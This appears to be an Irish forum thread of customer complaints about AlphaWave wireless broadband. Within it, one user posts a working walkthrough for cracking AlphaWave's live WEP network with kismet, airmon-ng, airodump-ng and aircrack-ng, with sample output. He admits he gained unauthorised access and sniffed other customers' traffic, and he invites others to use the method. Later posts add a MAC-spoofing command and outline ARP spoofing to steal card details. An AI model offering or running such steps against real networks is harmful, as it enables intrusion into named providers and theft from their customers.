AlphaWave Broadband Useless

DanGlee

Hi,

Just wondering who else is using the AlphaWave Wireless service (or lack of) in the Waterford / Kilkenny (Mullinavat) area?

I have been on it for around 8+ months now and its feckin brutal! Its either not on, or on so slow that you can't even get up any basic website (e.g. Google) and god forbid trying to get a fancy pants flash site to load like cgb, carzone, autotrader (yes I'm looking for a new car!)

I'm just wondering if anybody else is with these crowd in this area and if they know what the contention is?

Sometimes if I switch my router & antenna off and on again I can get a good signal for a small while.

I'm on the 1mb connection, which as far as I know is the only one they offer. They used to do 2mb, but that was for businesses only and was a jump from €29 to €79!!! but when the bloke was fitting it he said they don't offer that anymore. And when I call them to complain about the lack of service and signal I just get somebody who can't speak English say they will look into it and thats it... it sounds like a one man show to be honest and not a good one!

Please post your experiences here and if you know of any other providers that are good within the Mullinavat area as I don't know of any, so I don't think I'm left with much choice! (They have a monopoly... the Mullinavat Monopoly :rolleyes: )

Thanks,
DG.

barnicles

broadbandatoz.ie will tell you about DSL.

Check broadband.gov.ie too.

Some_Person

I'm on Alphawave too, on the Glenmore node and I've got the 2MB package since when joined them over a year and a half ago. Lots of problems starting off but it's fine now and nearly always get a full 2MB. Contention is supposed to be 32:1 according to their site. Strange that you say it works for a small while after rebooting the antenna, are you getting a strong enough signal and have LOS etc?

DanGlee

Hi,

Yeah, I'm up by Irish's pub and there is a guy across the road from me and he has AlphaWave, but his antenna points into the Glenmore / Bishops hall way, while mine points into the Kilmacow way (because of trees at the back blocking the signal)

My thinking is, because its pointing to Kilmacow, its a more populated town and the kids on Bebo are caining the contention and bandwith for me.

For the other reply with the links, the DSL is no good. I don't have a phone line and don't plan on getting one... (they are so 80s ) and the satellite is really expensive.

I keep seeing ad's for perlico and some other wireless who's name eludes me but I dunno if they will work in this area.

Its strange how it does liven up a little after its turned off and on again. Sometimes only googletalk will work and I can't view websites, its just plain crap. And I'm planning on hopefulyl moving up past Mullinavat town next year and AlphaWave said its something like €100 to move the antenna and set it up... but sure, I can unscrew 4 bolts and move it myself for free... and it can't be that hard to point it in the right direction to pick up a signal... its only 360 degrees.

example:

Me (on roof) : Shouting to missus, can you see anything yet, and porn pages?
Missus: No
Me: How about now?
Missus: No.
Me (Turning more) How about now?
Missus: Yep!
Me: Sorted!

Can't be that hard! :D:D

Some_Person

You should call them and get them to check the signal or get an engineer out and try a different antenna, could be something wrong with your current one.

moondance

Hi All,

I have the same problem with Alphawave. I am in the Piltown area and the service is so intermittent it is unreal. When you ring them they can switch you to adifferent node then after 20 mins or so you are back to poor quqlity connection again. Very Frustating.......... What is the future for Broadband in South Kilkenny???

Some_Person

Forgot to say this the last time, did you try the connection late at night like after 12am and see how it performs then? should tell you if it's contention or not.

FastGuy

moondance wrote: »

Hi All,

I have the same problem with Alphawave. I am in the Piltown area and the service is so intermittent it is unreal. When you ring them they can switch you to adifferent node then after 20 mins or so you are back to poor quqlity connection again. Very Frustating.......... What is the future for Broadband in South Kilkenny???

I now they have now new base alocated in piltown on 5,8 technology. just call them and ask about posibillity. What I now they do it massiv ubgrades on point to point links and also build a lot of new staff.

Chears.

jpl888

Hi I'm going to bring my technical expertise to the fore here.

Once upon a time 18 months ago I was an Alphawave customer I found that their service would go down at least once a week. As I am running a business I found the level of unreliability unacceptable.

My solution was to join 3 mobile broadband. I purchased a better 3G card for my laptop than the one 3 give you (Novatel XU950D) and an external antenna from Panorama antennas. I can count the amount of times the service has gone down on one hand, and in that event I just point the antenna towards another mobile mast and it still works!

Having said that if there is heavy mobile usage the download speeds can drop as low as 120 Kbits per second, not usually less than 300Kbps, but at least it works. As my primary usage is in the day time, when there is less traffic, I generally get between 500 Kbits and 1 Mbits and sometimes even 2 Mbits.

I also share my connection through my WPA encrypted wireless network with another laptop. I am using Linux but the experience should be the same with Windows XP AFAIK, but of course YMMV.

Additionally I would also like to publicly rap Alphawave and any other wireless provider who uses WEP encryption, on the knuckles. You may already be aware that it is insecure, but I am going to relay to you now just HOW insecure it is.

Today I was able to get onto Alphawave's network using just the wireless card in my laptop and a few choice linux commands. Please understand that I only did this as a proof of concept, because the IT/communications industry is aware of WEP's insecure nature but I think even they don't take it seriously, I wanted to see exactly how easy it is.

I will post the commands here and well if anyone is unscrupulous enough to use it to their own ends then it's upto Alphawave and the other cowboys to start securing their networks properly!

Here goes:-

Firstly you will want some version of Linux. I personally have Gentoo and that is what I used to do the cracking, though you could download a backtrack LiveCD which should have everything you need on it and won't overwrite your crappy Windows XP/Vista install.

It is worth noting however that the stable Backtrack CD uses a kernel which is a few months old so as wireless driver support is coming on in leaps and bounds these days, the older the kernel the less chance your hardware will work with the cracking software.

If it doesn't work you could always download an Ubuntu Jaunty Jackalope CD and run that in live mode, but you would have to have an internet connection to install aircrack-ng, bit of a catch 22.

I can report that Backtrack does at least work with the Intel 3945 wireless card I have so I am reasonably hopeful it will work with most of the common chipsets out there RTL8187, RT73USB, Atheros, etc, etc.

Here are the commands:-

kismet

Will scan the the airwaves for networks to attach to. If you are close enough to one of Alphawaves antennas you should see something like this:-

Probe networks            G N ---   2767       0.0.0.0
Data networks             G N ---    551       0.0.0.0
alphawave-***             A Y 012    249       0.0.0.0        
<no ssid>                 A N ---     12       0.0.0.0         
alphawave-***            A Y 002   3912       0.0.0.0

All we are interested in here is the Ch column, which, represents the channel each BSSID is using. So the network I want to connect to has a channel of 002 (see the bottom entry). I choose that one because it seemed to have the most activity and therefore chance to passively scan data to crack.

Hence we use the following command to start the wireless card in "monitor" mode to capture packets.

airmon-ng start wlan0 2

Where "wlan0" is the interface name of your wireless adapter and "2" is the channel the target network is on.

Then we start capturing "IV" packets which are the ones containing the juicy information.

airodump-ng --ivs --channel 2 wlan0 -w wificrack

Again where "2" is the channel of the target network and "wlan0" is the interface name of your wireless card. "wificrack" is just the name of the file we are going to output the IV's to. Now go of and have a good sleep, no a really good sleep, say 18 - 24 hours. When you come back you should have a file which is 10's or 100's of Megabytes in size.

Leaving the previous command running (in case you haven't enough IV's yet) run the following command:-

aircrack-ng wifi*.ivs

After a few seconds (or maybe longer) it should produce the key like so:-

Aircrack-ng 1.0 rc1


                 [00:00:13] Tested 1690038 keys (got 569625 IVs)

   KB    depth   byte(vote)
    0    0/  1   61(785648) 30(595392) 95(591660) EE(591636) 08(591252) 
    1    0/  1   6C(767188) D0(602700) 69(596636) DE(595620) 0C(593784) 
    2    0/  1   70(748004) 9A(599172) 6F(592984) 22(592824) AF(591996) 
    3    0/  1   68(744508) C9(599836) C5(592316) 1C(591532) 05(591292) 
    4    0/  1   61(720640) A0(599524) 9A(597224) 10(596060) 7A(594644) 
    5    0/  1   77(729796) DB(605376) A0(600560) B0(599964) 9C(596440) 
    6    0/  1   61(728536) EC(595292) 36(593972) 8B(593552) E6(592228) 
    7    0/  1   76(741760) 44(598008) F2(597288) 37(593108) 22(592952) 
    8    0/  1   65(725140) 8C(595276) B6(593108) 32(591740) 47(590908) 
    9    0/  1   63(703628) D1(595860) 6E(594592) C1(594212) 2A(594176) 
   10    1/  1   4C(596152) 4A(595876) 74(592464) 64(592156) 0A(591568) 
   11    5/  1   8D(590472) C3(590264) 5C(589908) EC(589856) 23(588084) 
   12    0/ 12   62(601852) 78(595412) 32(594512) B6(594452) 47(593816) 

     KEY FOUND! [  ] (ASCII:  )
    Decrypted correctly: 100%

Obviously I've ommitted the actual key but you get the idea. Mine took 13 seconds to complete. I was then able to connect to their wireless network although the node I contacted wasn't giving out IP addresses so I used Wireshark to decrypt captured packets from other nodes to determine the IP addressing scheme and gateway to use. Although I only stayed connected for a short while I did get internet access (although no matter which IP address I tried I go duplicate errors when pinging so I was conflicting with somebody else).

If I were so minded I could have caused all sorts of disruption to the network and hacked into people's machines with virtual anonimoty.

Perhaps attacks like this are a contributing factor to Alphawave's poor reliability, who knows.

Anywho if the original poster is still interested in a new (well nearly new) car I have a 08 Ford Mondeo 2.0 diesel auto for 25k. Ah well you never know.

Good luck!

Some_Person

I've been thinking of this too lately, why they're using WEP instead of at least WPA I do not know, I've also seen other security risks such as alot of unpassworded client antennas that I can access if needed. I think I'll call them soon and tell them the all the unsecured things I've seen, for their own benefit.

jpl888

Well they already know how insecure it is, they set it up! And I wouldn't worry too much about calling them they will find this post fairly quickly.

you are a bunch of chancers!

Some_Person

Latency was fine all evening till about 9:30pm, was gaming on it there but now latency is gone to a minimum on 200ms and went up as far as 2000ms the odd time, only started this since about monday or sunday, must be contention, tx rate to the node dropped from 11mbps to 1mbps.

FastGuy

jpl888 wrote: »

Well they already know how insecure it is, they set it up! And I wouldn't worry too much about calling them they will find this post fairly quickly.

you are a bunch of chancers!

Well ... it's a big network and many people start make them .... .
Hopefully we wake up admins by this post !!! :D:D::D

Chears.

Some_Person

FastGuy wrote: »

Well ... it's a big network and many people start make them .... .
Hopefully we wake up admins by this post !!! :D:D::D

Chears.

The way you post sometimes makes it look like you work for Alphawave.

FastGuy

Some_Person wrote: »

The way you post sometimes makes it look like you work for Alphawave.

Hmmmm Nice to meet people like you Some_Person!!!
Anyway looks like looks ... why u think that ???

Chears!

FastGuy

OK

No I dont work for this company. I now one of admin from alphawave very well and help hom resolve problems...

Chears!

Some_Person

If you help resolve problems, you/Alphawave should seriously consider using stronger encyption (at least WPA) on the APs and sort out evening speed/latency problems,also, Most Client antennas are passworded but alot aren't leaving anyone on the network access to them and change anything if they wanted.

godskitchen

FastGuy wrote: »

Hmmmm Nice to meet people like you Some_Person!!!
Anyway looks like looks ... why u think that ???

Chears!

My head hurts after reading that.

FastGuy

Some_Person wrote: »

If you help resolve problems, you/Alphawave should seriously consider using stronger encyption (at least WPA) on the APs and sort out evening speed/latency problems,also, Most Client antennas are passworded but alot aren't leaving anyone on the network access to them and change anything if they wanted.

Well WPA is ok but links to customers must be strong and quaility good!!!
I dont care so much anyway .. but dont like getting a ****y service..:pac:

jpl888

The problem for Alphawave I think is that their infrastructure either largely or in whole isn't capable of WPA.

I know that those Wandy routers only do WEP, they aren't going to change all their routers to enable WPA.

So people should understand the infrastructure was badly designed and conceived in the first place, it is unlikely that Alphawave will be able to provide a secure and reliable service at least during the lifetime of their existing hardware.

So if you are lucky enough to get usable internet from them all well and good and best of luck to you, but that wouldn't and will not be a lot of peoples experience.

Some_Person

FastGuy wrote: »

Well WPA is ok but links to customers must be strong and quaility good!!!
I dont care so much anyway .. but dont like getting a ****y service..:pac:

People wouldn't have the service in the first place without a decent signal,most have -69dbm and over 70 quality,nothing to do with the encryption. If changing from WEP isn't do-able right now maybe you should use MAC registration,what speed the client gets is MAC controlled so maybe you should also use that to restrict access to registered MACs.

jpl888

People wouldn't have the service in the first place without a decent signal,most have -69dbm, nothing to do with the encryption. If changing from WEP isn't do-able right now maybe you should use MAC registration,what speed the client gets is MAC controlled so maybe you should also use that to restrict access to registered MACs.

Mine was at -87dbm or there abouts when I cracked the key and connected, even at that it wasn't to bad.

I think he was suggesting that WPA wouldn't work without an extra strong signal.

I would disagree with the assumption that restricting MACs would help. Indeed in Linux you can change your MAC with a one line command "macchanger -m Xx:xx:xx:xx interface" so spoofing your MAC address to one that is allowed (which of course you have gleaned by monitoring traffic) is relatively trivial.

Some_Person

I'm aware of MAC spoofing, but you'd have to find a MAC that you know would work and is registered, even if you could find it, it would make it more hassle for intruders to access the network.

jpl888

It takes a few seconds to monitor the traffic and find another MAC that is communicating with the AP. I don't think that would put many off.

Some_Person

Just checked a Wandy client router, it CAN do WPA encryption, it can do WPA(TKIP) and WPA2(AES), they're APs most likely support WPA too, so there's no reason why they can't use WPA instead of WEP.

jpl888

The manual I looked at online must have been a bit out of date then.

Perhaps it is only some of the older ones which can't manage it.

Anyway that's good news, but I'd say you wouldn't want to hold your breath.

FastGuy

Some_Person wrote: »

Just checked a Wandy client router, it CAN do WPA encryption, it can do WPA(TKIP) and WPA2(AES), there APs most likely support WPA too, so there's no reason why they can't use WPA instead of WEP.

Probaly no reason ... do you have some experience with using WPA OUTDOOR .. not on a home routers??? And with many cpe conencted to one access point.?? WEP / WPA I dont now what exacly is changed but in my thinking packet must use more space on encryption or ..???@? Anybody now .. .or have some experience .. ??

Some_Person

I admit I have no experience with outdoor units, but I don't see the problem with changing to WPA or WPA2

ajamesr

HI all. Well I'm no expert but I have been using Alphawave for about 2 years now in Fiddown area. Must be honest and say that speeds and realibilty for the most part have been consistant for that time. I usually check speeds using SPEEDTEST.NET and often get my 1MB downloads speed as advertised.
However in the last month my patience is wearing thin. For example last night I could barely get my google home page to load, never mind check my email etc. This morning I checked at about 8:00 - 1MB connection back again. I'm no genius but surely this is just a contention issue. Busy in the evening, no one online in the morning - could it be that simple. Its been like this now for at least a month, probably more. Its unrealiable and slow.

Marlow

Lads,

this whole discussion on WPA, WEP, encryption or not on the Alphawave infrastructure is pointless.

There are other, more effective means to do authentication for WISPs and just because you think you're right, you might not be at all.

Even if somebody spoofed their way in, depending on how the network is set up, you might not have gotten anywhere at all.

By breaking their WEP Key, connecting and sniffing the traffic you've already participated in illegal activities, essentially illegal wire-tapping.

I can also go down to the box at the street, jack your phoneline out and use your dsl, no problems.

The reason for a lot of WISPs using WEP or no encryption is, that it eats radio-bandwidth and CPU time on the radio's. A good few would be using other means of authentication then like for example PPPoE, MPLS circuits or other things.

/Martin

jpl888

this whole discussion on WPA, WEP, encryption or not on the Alphawave infrastructure is pointless.

I think any discussion relating to user security and how companies take it seriously or not is valid. Some companies will not take this stuff seriously unless pressure is applied.

There are other, more effective means to do authentication for WISPs and just because you think you're right, you might not be at all.

Yes RADIUS authentication and stuff like that, great, if it helps do it. We all have to be prepared that we might be wrong, I think you need to eat some of that pie!

Even if somebody spoofed their way in, depending on how the network is set up, you might not have gotten anywhere at all.

Ok you tell me how and I will tell you how I would potentially get around it.

By breaking their WEP Key, connecting and sniffing the traffic you've already participated in illegal activities, essentially illegal wire-tapping.

Ok technically you are right BUT no harm was done and it wasn't with malicious intent. I think unless you can get boards.ie to break the data protection act and tell you who I am or can get a court order to get the info you are going to have a hard time tracing and proving it was me. I would be interested to see how that played out and I think the negative publicity of picking on somebody who was trying to highlight an issue could make things worse for these cowboys.

I can also go down to the box at the street, jack your phoneline out and use your dsl, no problems.

Yes but you aren't going to sniff my unencrypted data put an ssl proxy on and spoof the arp address of the local gateway on there and get my credit card details that way are you. I think physically trespassing and interfering with somebody elses property might be a bit more sticky legally that doing it virtually.

The reason for a lot of WISPs using WEP or no encryption is, that it eats radio-bandwidth and CPU time on the radio's. A good few would be using other means of authentication then like for example PPPoE, MPLS circuits or other things.

I also agree security has an overhead but I think it is one that Joe Bloggs is willing to pay to make sure he doesn't get defrauded. Besides a few kilobits per second isn't going to make much difference to the people who are quite frankly getting **** access using what was essentially a hobbyists infrastructure bought and made commercial (but obviously not made much better).

Logistically it would take time and man hours for them to go to WPA which I doubt they will do, especially in the current climate. However I think people should be aware of the risks of using a crowd like this, even if that crowd doesn't want you to know or think you are open to attack.

Yours,

Hopefully anon